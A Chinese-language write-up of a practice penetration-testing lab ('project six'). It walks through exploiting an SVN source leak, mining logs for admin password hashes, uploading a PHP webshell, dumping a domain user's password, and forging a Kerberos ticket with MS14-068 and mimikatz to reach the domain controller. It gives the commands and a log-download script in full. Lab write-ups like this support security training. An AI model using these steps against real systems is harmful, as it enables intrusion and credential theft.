暗月靶场-项目六

前言

  项目六相对于前面的域靶场比较简单,但也不能说没有收获,至少让我学习到真的不能太相信工具。

网络拓扑图

  

信息搜集

  nmap扫描结果

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp  open  mysql        MySQL (unauthorized)
3389/tcp  open  tcpwrapped

  网站首页
  
  点击申请贷款后,来到网站注册页面,准备顺手注册一个账号,结果无法注册
  
  那行吧,只能目录扫描了,扫描出了一个 .svn 目录
  
  访问.svn/wc.db,下载到本地后,使用Navicat打开查看,在NODES表中可看到大量的文件路径
  
  试试访问其中一个图片,真实有效的
  
  这里svn源码泄露了,使用svnExploit,下载源码。python SvnExploit.py -u http://www.webhack123.com/.svn --dump
  
  会将源码保存在工具的dbs文件夹下
  
  打开教程.txt,发现后台域名
  
  hosts搞好绑定后,访问一下
  
  现在就差后台账号了,查看ddk02.sql,获取用户名为:admin,md5后的密码10470c3b4b1fed12c3baac014be15fac67c6e815
  
  解密后为123456,高高兴兴去登录,直接失败
  
  继续翻源码在App/Runtime/Logs/发现大量log文件
  
  log文件记录了sql语句
  
  既然账号登录不进去,就说明更新了后台密码。也就是用update更新了cv_admin数据表中的password字段。使用cat *.log | grep cv_admin | grep UPDATE | grep password来查询一下
  
  没查到任何结果,我再次查看log目录的文件名,发现最后一个log日志文件名为19_05_25.log。不出意外的话这是19年5月25日的日志。但现在都2021年了。很有可能我们没有把log日志下载完。编写py文件来下载log文件。

# coding=utf-8
# 对应暗月靶场6
import calendar
import requests

url = "http://www.webhack123.com/App/Runtime/Logs/"


# 返回该年该月对应的天数
def getDay(year, month):
    return calendar.monthrange(year, month)[1]


# 保存数据
def saveData(logPath):
    request = requests.get(url + logPath)
    if request.status_code == 200:
        # 写进文件
        with open(logPath, 'a', encoding='utf-8') as f:
            f.write(request.text)


"""
传入年月日
返回日期格式
比如传入2018 6 14
返回18_06_14.log
"""


def getLogPath(year, month, day):
    return str(year)[2:] + "_" + (str(month) if month >= 10 else "0" + str(month)) + "_" + (
        str(day) if day >= 10 else "0" + str(day)) + ".log"


"""
传入年
获取此年的所有logs信息
"""


def getLogs(year):
    # 月份
    for month in range(1, 13):
        # 获取该月有多少天
        days = getDay(year, month)
        # 天数
        for day in range(1, days + 1):
            saveData(getLogPath(year, month, day))


def main():
    # 保存2019-2021年的信息
    for year in range(2019, 2022):
        getLogs(year)


if __name__ == '__main__':
    main()

  运行后会下载2019-2021年的log文件,果然没有下载全
  
  再次查询,密码74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,解密为web123
  

getshell

  登录进后台,来到用户管理->用户列表,点击重置密码
  
  再来到系统设置->基本设置,允许上传文件类型添加上php
  
  回到前面的登录界面,使用18888888888,38653921进行登录
  
  来到首页,点击申请借款
  
  跳转到个人信息完善主页,上传php马
  

横向移动

  蚁剑连接上后,查看是system权限,并且无杀软
  
  存在域hackbox.com
  
  分别上线到cs和msf后,发现dc
  
  systeminfo | findstr "3011780",没有打MS14-068的补丁,使用run post/windows/gather/enum_logged_on_users 查看sid
  
  web的sid:S-1-5-21-2005268815-658469957-1189185684-1103,抓取到web的明文密码为!@#Qwe456
  
  将MS14-068上传上去后,MS14-068.exe -u web@hackbox.com -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 生成票据
  
  继续回到cs,使用mimikatz "kerberos::purge"清空缓存票据,mimikatz "kerberos::ptc" "TGT_web@hackbox.com.ccache"注入票据
  
  shell dir \\dc\c$,成功访问,打靶结束
     

查看评论 -
评论